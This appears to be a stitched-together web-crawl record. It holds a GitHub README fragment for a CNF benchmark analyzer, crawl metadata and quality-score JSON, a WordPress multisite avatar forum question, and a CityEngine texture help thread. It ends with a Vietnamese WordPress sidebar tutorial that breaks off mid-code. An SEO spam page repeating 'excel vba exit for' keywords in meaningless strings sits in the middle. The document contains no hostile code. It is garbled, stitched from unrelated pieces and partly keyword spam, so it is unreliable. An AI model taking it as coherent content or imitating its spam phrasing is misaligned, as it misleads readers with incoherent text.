DIMACS files are read by skipping any lines starting with characters from --ignore. The remaining content is parsed (header line with nbvars and nbclauses) and in the remaining line, integers are retrieved and passed over. Hence the parser yields a sequence of literals.
Features
Features are documented in my paper "Analyzing CNF benchmarks".
Cheers, prokls
About
Analyze CNF benchmark files with python3
Resources
Stars
Watchers
Forks
Packages
No packages published
Languages | {
"url": "https://github.com/prokls/cnf-analysis-py",
"source_domain": "github.com",
"snapshot_id": "CC-MAIN-2024-33",
"warc_metadata": {
"Content-Length": "314068",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:V2UO2Z47FNQM5B5UAETZ72VJNC6FX6D2",
"WARC-Concurrent-To": "<urn:uuid:662bc4d5-e31c-45a3-9500-28243d14e0a0>",
"WARC-Date": "2024-08-05T19:31:25Z",
"WARC-IP-Address": "140.82.114.4",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:32NAD6KWQ3HHIWOZMG5BNAMKA75EPSFT",
"WARC-Record-ID": "<urn:uuid:5434dcec-5c76-4dcd-801b-3f38db7e24f3>",
"WARC-Target-URI": "https://github.com/prokls/cnf-analysis-py",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:041135b2-1f78-4cfd-a200-3a7f8ab971e6>"
},
"warc_info": "isPartOf: CC-MAIN-2024-33\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-209\r\nsoftware: Apache Nutch 1.20 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
16,
17,
40,
41,
59,
60,
69,
89,
106,
107,
121,
122,
124,
125,
133,
134,
145,
147,
149,
151,
153,
155,
157,
159,
161,
162,
190,
191,
207,
208,
229,
260,
275,
288,
289,
490,
491,
608,
609,
620,
621,
642,
643,
670,
671,
733,
734,
787,
817,
859,
884,
886,
890,
955,
987,
1038,
1098,
1146,
1171,
1190,
1243,
1269,
1304,
1338,
1374,
1406,
1442,
1489,
1537,
1572,
1611,
1659,
1688,
1719,
1746,
1784,
1824,
1865,
1906,
1959,
1999,
2051,
2093,
2134,
2156,
2175,
2223,
2268,
2317,
2356,
2392,
2440,
2487,
2536,
2581,
2630,
2710,
2787,
2826,
2866,
2894,
2932,
2973,
3015,
3057,
3099,
3153,
3194,
3247,
3290,
3320,
3351,
3383,
3389,
3393,
3395,
3396,
3408,
3409,
3668,
3669,
3811,
3812,
3869,
3942,
3999,
4000,
4190,
4191,
4301,
4302,
4309,
4310,
4475,
4476,
4586,
4587,
4753,
4754,
4792,
4793,
5012,
5013,
5073,
5074,
5087,
5088,
5205,
5206,
5260,
5295,
5296,
5317,
5318,
5340,
5428,
5440,
5463,
5474,
5504,
5505,
5518,
5519,
5790,
5791,
5800,
5801,
5865,
5866,
5881,
5882,
5888,
5889,
5930,
5931,
5941,
5942,
5948,
5949,
5958,
5959,
5965,
5966,
5975,
5976,
5998,
5999
],
"line_end_idx": [
16,
17,
40,
41,
59,
60,
69,
89,
106,
107,
121,
122,
124,
125,
133,
134,
145,
147,
149,
151,
153,
155,
157,
159,
161,
162,
190,
191,
207,
208,
229,
260,
275,
288,
289,
490,
491,
608,
609,
620,
621,
642,
643,
670,
671,
733,
734,
787,
817,
859,
884,
886,
890,
955,
987,
1038,
1098,
1146,
1171,
1190,
1243,
1269,
1304,
1338,
1374,
1406,
1442,
1489,
1537,
1572,
1611,
1659,
1688,
1719,
1746,
1784,
1824,
1865,
1906,
1959,
1999,
2051,
2093,
2134,
2156,
2175,
2223,
2268,
2317,
2356,
2392,
2440,
2487,
2536,
2581,
2630,
2710,
2787,
2826,
2866,
2894,
2932,
2973,
3015,
3057,
3099,
3153,
3194,
3247,
3290,
3320,
3351,
3383,
3389,
3393,
3395,
3396,
3408,
3409,
3668,
3669,
3811,
3812,
3869,
3942,
3999,
4000,
4190,
4191,
4301,
4302,
4309,
4310,
4475,
4476,
4586,
4587,
4753,
4754,
4792,
4793,
5012,
5013,
5073,
5074,
5087,
5088,
5205,
5206,
5260,
5295,
5296,
5317,
5318,
5340,
5428,
5440,
5463,
5474,
5504,
5505,
5518,
5519,
5790,
5791,
5800,
5801,
5865,
5866,
5881,
5882,
5888,
5889,
5930,
5931,
5941,
5942,
5948,
5949,
5958,
5959,
5965,
5966,
5975,
5976,
5998,
5999,
6008
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 6008,
"ccnet_original_nlines": 187,
"rps_doc_curly_bracket": 0.0006657799822278321,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.1833941638469696,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03558393940329552,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.43795621395111084,
"rps_doc_frac_unique_words": 0.53742516040802,
"rps_doc_mean_word_length": 6.467065811157227,
"rps_doc_num_sentences": 80,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.536634922027588,
"rps_doc_word_count": 668,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.01203703973442316,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.01111111044883728,
"rps_doc_frac_chars_top_3gram": 0.005092590115964413,
"rps_doc_frac_chars_top_4gram": 0.009722219780087471,
"rps_doc_books_importance": -503.04052734375,
"rps_doc_books_importance_length_correction": -503.04052734375,
"rps_doc_openwebtext_importance": -252.70469665527344,
"rps_doc_openwebtext_importance_length_correction": -252.70469665527344,
"rps_doc_wikipedia_importance": -206.32266235351562,
"rps_doc_wikipedia_importance_length_correction": -206.32266235351562
},
"fasttext": {
"dclm": 0.018474580720067024,
"english": 0.7237557172775269,
"fineweb_edu_approx": 1.4947971105575562,
"eai_general_math": 0.2675454616546631,
"eai_open_web_math": 0.26674342155456543,
"eai_web_code": 0.35403329133987427
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.0151",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "1",
"label": "Leftover HTML"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "17",
"label": "Product Page"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
5,247,266,315,308,610,000 | Avatars for Multisite + Ada WPMU Sitewide Feed Plugin
I'm using Ada WPMU Sitewide Feed Plugin Version 0.5.2 to generate a frontpage for my multisite.
I'm constructing my 'loop' like this:
$postdata = $wpmu_sitefeed->get_data("posts");
foreach ($postdata as $pdata) {
...
}
This works fine, but I can't see any avatars in the $postdata so I'm trying to add those like this:
$postdata = $wpmu_sitefeed->get_data("posts");
foreach ($postdata as $pdata) {
...
echo '<img src="' . $wpmu_sitefeed->ada_get_avatar_url($pdata->post_author) . '">';
...
}
However, then I just get the standard gravatar pulled from gravatar.com, so I guess the Ada WPMU Sitewide Feed Plugin isn't seeing the avatar I've attached to the user using the Avatars for Multisite plug-in. What plug-in should I use to get it working with the the Ada WPMU Sitewide Feed Plugin? | {
"url": "https://premium.wpmudev.org/forums/topic/avatars-for-multisite-ada-wpmu-sitewide-feed-plugin",
"source_domain": "premium.wpmudev.org",
"snapshot_id": "crawl=CC-MAIN-2018-43",
"warc_metadata": {
"Content-Length": "90018",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:GPIXHFUFXY3LOD7HPBEQGGERVZLQS3JX",
"WARC-Concurrent-To": "<urn:uuid:19a3b911-98b2-4449-ba03-a60ef11f5cbb>",
"WARC-Date": "2018-10-23T02:48:17Z",
"WARC-IP-Address": "104.16.25.10",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:2UXE5ALH74GMGC6OMZXDWI36ACW5RYYP",
"WARC-Record-ID": "<urn:uuid:7ea8f2a4-4560-4458-b5bd-20abe242d7e5>",
"WARC-Target-URI": "https://premium.wpmudev.org/forums/topic/avatars-for-multisite-ada-wpmu-sitewide-feed-plugin",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:a4d6d8ea-377e-4c3c-939e-8e5c4a761424>"
},
"warc_info": "isPartOf: CC-MAIN-2018-43\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for October 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-91-224-137.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
54,
55,
151,
152,
190,
191,
238,
270,
277,
279,
280,
380,
381,
428,
460,
467,
554,
561,
563,
564
],
"line_end_idx": [
54,
55,
151,
152,
190,
191,
238,
270,
277,
279,
280,
380,
381,
428,
460,
467,
554,
561,
563,
564,
860
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 860,
"ccnet_original_nlines": 20,
"rps_doc_curly_bracket": 0.004651159979403019,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.27319589257240295,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.06185567006468773,
"rps_doc_frac_lines_end_with_ellipsis": 0.1428571343421936,
"rps_doc_frac_no_alph_words": 0.3144329786300659,
"rps_doc_frac_unique_words": 0.5508474707603455,
"rps_doc_mean_word_length": 5.245762825012207,
"rps_doc_num_sentences": 10,
"rps_doc_symbol_to_word_ratio": 0.015463920310139656,
"rps_doc_unigram_entropy": 3.943056106567383,
"rps_doc_word_count": 118,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.371567040681839,
"rps_doc_frac_chars_dupe_6grams": 0.2907916009426117,
"rps_doc_frac_chars_dupe_7grams": 0.20032310485839844,
"rps_doc_frac_chars_dupe_8grams": 0.20032310485839844,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.04523425176739693,
"rps_doc_frac_chars_top_3gram": 0.09693053364753723,
"rps_doc_frac_chars_top_4gram": 0.12277867645025253,
"rps_doc_books_importance": -88.3013687133789,
"rps_doc_books_importance_length_correction": -88.3013687133789,
"rps_doc_openwebtext_importance": -36.74620056152344,
"rps_doc_openwebtext_importance_length_correction": -32.44916534423828,
"rps_doc_wikipedia_importance": -25.077241897583008,
"rps_doc_wikipedia_importance_length_correction": -25.077241897583008
},
"fasttext": {
"dclm": 0.8992136716842651,
"english": 0.7600620985031128,
"fineweb_edu_approx": 1.1326379776000977,
"eai_general_math": 0.9188675880432129,
"eai_open_web_math": 0.7824810147285461,
"eai_web_code": 0.992806613445282
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
6,692,096,736,890,809,000 | Excel Vba Exit For Excel Exit For Sample Macro To Save Excel File As Excel Exit Sub After Excel Exit For Excel Vba Code To Exit Excel
excel vba exit for excel exit for sample macro to save excel file as excel exit sub after excel exit for excel vba code to exit excel
excel vba exit for excel exit for sample macro to save excel file as excel exit sub after excel exit for excel vba code to exit excel.
excel exit for place your code here do until loop vba stop macro infinite early end,excel vba end function early exit for place your code here do until loop while if sub,excel vba exit if then completely do loop early infinite,excel vba stop macro infinite loop userform exit button if condition not met for place your code here do until,ms office tips tricks and tutorials excel vba exit for each loop early macro on error sub if cancel,excel vba end function exit for place your code here do until loop without saving 2010 userform,excel function free unlocked syntax usage for functions vba exit nested loop macro userform event,exit for next loop macros tutorial ms excel vba end function userform terminate event stop macro if condition not met,excel vba exit userform function sub formula in because caller cell stop for loop,excel vba exit do loop on error all subs while this what i get through sheet names until.
excel vba exit for excel exit excel exit for code to find last row with loop excel exit sub excel vba exit function return .
excel vba exit for do while loop excel exit loop excel excel vba userform exit button .
excel vba exit for excel break for loop excel excel how to move and write in the cell below excel break for excel vba exit loop while .
excel vba exit for excel break for loop excel exit for image titled use find in excel macros step excel break for excel vba stop macro infinite loop .
excel vba exit for excel formula in excel exit function on error excel vba on error exit all subs .
excel vba exit for example of code with nested if then else statement excel vba exit excel .
excel vba exit for excel exit for exit for excel exit sub if cancel excel exit for excel vba exit userform code .
excel vba exit for excel exit for excel stop macro while running excel vba terminate userform .
excel vba exit for do while loop excel cut paste macro code to your module stop loop excel do while loop excel excel vba stop macro .
excel vba exit for excel exit next excel loop procedure excel stop macro excel vba exit loop on error .
excel vba exit for do while loop excel do loop through first row excel do while loop excel excel vba exit loop on condition .
excel vba exit for engineering exit lessons class introduction excel vba stop macro execution .
excel vba exit for excel exit for 2 auto save excel as you exit excel exit if block excel exit for excel vba exit excel with saving .
excel vba exit for image titled use find in excel macros excel vba exit loop command .
excel vba exit for do while loop excel exit while loop excel do while loop excel excel vba stop macro execution .
excel vba exit for output excel vba exit sub on error .
excel vba exit for excel exit for sample macro to save excel file as excel exit sub after excel exit for excel vba code to exit excel .
excel vba exit for excel exit for place your code here excel exit do until loop early excel vba end xlup function .
excel vba exit for excel with statement excel exit 5 auto save excel as you exit excel on error excel excel vba exit sub after msgbox .
excel vba exit for excel stop macro next statement in a macro that deletes empty rows excel excel vba exit sub if error .
excel vba exit for excel exit excel exit function return excel exit excel vba exit sub if error .
excel vba exit for excel break for loop excel syntax macro with comment explaining function syntax excel for loop excel break for excel vba userform exit sub .
Leave a Reply
Your email address will not be published. Required fields are marked * | {
"url": "http://thevidme.club/excel-vba-exit-for/excel-vba-exit-for-excel-exit-for-sample-macro-to-save-excel-file-as-excel-exit-sub-after-excel-exit-for-excel-vba-code-to-exit-excel/",
"source_domain": "thevidme.club",
"snapshot_id": "crawl=CC-MAIN-2018-26",
"warc_metadata": {
"Content-Length": "47381",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:IKPXUEFVKQHMO3BB4EQYJDVWXKZQ5KGR",
"WARC-Concurrent-To": "<urn:uuid:71aa9d65-5c1f-40e5-bff9-ddb6b67dd5a8>",
"WARC-Date": "2018-06-20T05:51:11Z",
"WARC-IP-Address": "104.18.41.76",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:F7A3YHTMKXLPK4DGNYXWTBKPJDPCD5CF",
"WARC-Record-ID": "<urn:uuid:fb87490d-d094-425f-a836-1f1d3adb7bde>",
"WARC-Target-URI": "http://thevidme.club/excel-vba-exit-for/excel-vba-exit-for-excel-exit-for-sample-macro-to-save-excel-file-as-excel-exit-sub-after-excel-exit-for-excel-vba-code-to-exit-excel/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:a93ba2d7-b748-416a-941b-769d82a1f39e>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-16-188-101.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-26\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for June 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
134,
135,
269,
270,
405,
406,
1328,
1329,
1454,
1542,
1678,
1829,
1929,
2022,
2136,
2232,
2366,
2470,
2596,
2692,
2826,
2913,
3027,
3083,
3219,
3335,
3471,
3593,
3691,
3851,
3852,
3866,
3867
],
"line_end_idx": [
134,
135,
269,
270,
405,
406,
1328,
1329,
1454,
1542,
1678,
1829,
1929,
2022,
2136,
2232,
2366,
2470,
2596,
2692,
2826,
2913,
3027,
3083,
3219,
3335,
3471,
3593,
3691,
3851,
3852,
3866,
3867,
3937
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3937,
"ccnet_original_nlines": 33,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2571801543235779,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.04960836097598076,
"rps_doc_frac_unique_words": 0.18975068628787994,
"rps_doc_mean_word_length": 4.3656511306762695,
"rps_doc_num_sentences": 26,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 3.622105598449707,
"rps_doc_word_count": 722,
"rps_doc_frac_chars_dupe_10grams": 0.199238583445549,
"rps_doc_frac_chars_dupe_5grams": 0.5320431590080261,
"rps_doc_frac_chars_dupe_6grams": 0.4524111747741699,
"rps_doc_frac_chars_dupe_7grams": 0.4197334945201874,
"rps_doc_frac_chars_dupe_8grams": 0.37404823303222656,
"rps_doc_frac_chars_dupe_9grams": 0.33978426456451416,
"rps_doc_frac_chars_top_2gram": 0.13197970390319824,
"rps_doc_frac_chars_top_3gram": 0.1446700543165207,
"rps_doc_frac_chars_top_4gram": 0.12373095750808716,
"rps_doc_books_importance": -394.9789123535156,
"rps_doc_books_importance_length_correction": -394.9789123535156,
"rps_doc_openwebtext_importance": -247.42750549316406,
"rps_doc_openwebtext_importance_length_correction": -247.42750549316406,
"rps_doc_wikipedia_importance": -95.78330993652344,
"rps_doc_wikipedia_importance_length_correction": -95.78330993652344
},
"fasttext": {
"dclm": 0.3479822278022766,
"english": 0.7540273666381836,
"fineweb_edu_approx": 1.5448451042175293,
"eai_general_math": 0.000268879986833781,
"eai_open_web_math": 0.0016880000475794077,
"eai_web_code": 0.001894060056656599
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "658.87",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Business",
"level_3": "Management"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
7,198,039,929,989,126,000 | Textures are inside when loading multipatch to CityEngine
531
2
Jump to solution
11-23-2020 05:20 AM
AndresKasekamp
New Contributor III
I have a building which is texturised, but when I loaded into CityEngine, the textures seem to be inside the building for some reason. How can I fix this error or is the error due to the way the buildings were texturised in the first place?
Building in CityEngine:
AndresKasekamp_0-1606137045444.pngAndresKasekamp_1-1606137093251.pngAndresKasekamp_2-1606137113856.png
Building in ArcGIS Pro:
AndresKasekamp_0-1606137420716.png
0 Kudos
1 Solution
Accepted Solutions
BrianWamsley
Occasional Contributor III
Simple answer first, have you tried in the Shapes tab, the reverse normals option?
View solution in original post
2 Replies
BrianWamsley
Occasional Contributor III
Simple answer first, have you tried in the Shapes tab, the reverse normals option?
View solution in original post
AndresKasekamp
New Contributor III
Thanks, it worked!
0 Kudos | {
"url": "https://community.esri.com/t5/arcgis-cityengine-questions/textures-are-inside-when-loading-multipatch-to/m-p/1003941",
"source_domain": "community.esri.com",
"snapshot_id": "crawl=CC-MAIN-2022-05",
"warc_metadata": {
"Content-Length": "214048",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:ATNEIEDG7QLGUWSXKTUJ7RCFG5PSIV7J",
"WARC-Concurrent-To": "<urn:uuid:36f81c90-1c59-4a02-888c-fb2e2b24a2c3>",
"WARC-Date": "2022-01-20T15:12:31Z",
"WARC-IP-Address": "52.85.135.128",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:YYPZHNOAQO3PU2XDE32KYTN6KHCV34RC",
"WARC-Record-ID": "<urn:uuid:a2a05762-52e8-48a4-9435-686357b078ae>",
"WARC-Target-URI": "https://community.esri.com/t5/arcgis-cityengine-questions/textures-are-inside-when-loading-multipatch-to/m-p/1003941",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:5781ea16-3e8d-4d0a-a5a2-60d282e2c5f3>"
},
"warc_info": "isPartOf: CC-MAIN-2022-05\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-243\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
58,
59,
63,
65,
82,
102,
117,
137,
138,
380,
381,
405,
406,
509,
510,
534,
535,
570,
571,
573,
574,
576,
577,
585,
596,
597,
616,
629,
656,
657,
743,
744,
775,
776,
786,
799,
826,
827,
913,
914,
945,
946,
961,
981,
982,
1001,
1002
],
"line_end_idx": [
58,
59,
63,
65,
82,
102,
117,
137,
138,
380,
381,
405,
406,
509,
510,
534,
535,
570,
571,
573,
574,
576,
577,
585,
596,
597,
616,
629,
656,
657,
743,
744,
775,
776,
786,
799,
826,
827,
913,
914,
945,
946,
961,
981,
982,
1001,
1002,
1009
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1009,
"ccnet_original_nlines": 47,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.28735631704330444,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04597701132297516,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2298850566148758,
"rps_doc_frac_unique_words": 0.54347825050354,
"rps_doc_mean_word_length": 5.898550510406494,
"rps_doc_num_sentences": 10,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.114109992980957,
"rps_doc_word_count": 138,
"rps_doc_frac_chars_dupe_10grams": 0.31449630856513977,
"rps_doc_frac_chars_dupe_5grams": 0.31449630856513977,
"rps_doc_frac_chars_dupe_6grams": 0.31449630856513977,
"rps_doc_frac_chars_dupe_7grams": 0.31449630856513977,
"rps_doc_frac_chars_dupe_8grams": 0.31449630856513977,
"rps_doc_frac_chars_dupe_9grams": 0.31449630856513977,
"rps_doc_frac_chars_top_2gram": 0.0687960684299469,
"rps_doc_frac_chars_top_3gram": 0.0687960684299469,
"rps_doc_frac_chars_top_4gram": 0.07616707682609558,
"rps_doc_books_importance": -58.75060272216797,
"rps_doc_books_importance_length_correction": -58.75060272216797,
"rps_doc_openwebtext_importance": -42.34869384765625,
"rps_doc_openwebtext_importance_length_correction": -28.380538940429688,
"rps_doc_wikipedia_importance": -37.46458435058594,
"rps_doc_wikipedia_importance_length_correction": -37.46458435058594
},
"fasttext": {
"dclm": 0.04579335078597069,
"english": 0.7772181630134583,
"fineweb_edu_approx": 1.214224934577942,
"eai_general_math": 0.2212483286857605,
"eai_open_web_math": 0.530036211013794,
"eai_web_code": 0.0009406200260855258
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.0285636",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "620.118",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
5,639,080,448,689,637,000 | #8 – WordPress Sidebar – Tạo Sidebars trong theme WordPress
0 325
Trong bài học này, chúng ta sẽ tìm hiểu về cách tạo sidebars trong theme WordPress, nơi người dùng có thể sử dụng các widget.
Video Tạo Sidebars trong theme WordPress
Hướng dẫn chi tiết
Tạo sidebar cơ bản
Trong thư mục includes, các bạn tạo file register-sidebars.php. Đây sẽ file chúng ta tiến hành khai báo các sidebar với WordPress.
if(!function_exists('glw_sidebars_init')){
function glw_sidebars_init(){
register_sidebar(array(
'name' => esc_html__('Primary Sidebar','glw'),
'id' => 'glw_primary_sidebar',
'description' => esc_html__('Primary Sidebar for goclamweb theme','glw'),
'before_widget' => '<div class="widget mb-45">',
'after_widget' => '</div>',
'before_title' => '<div class="widget-title mb-30"><h5 class"mb-5">',
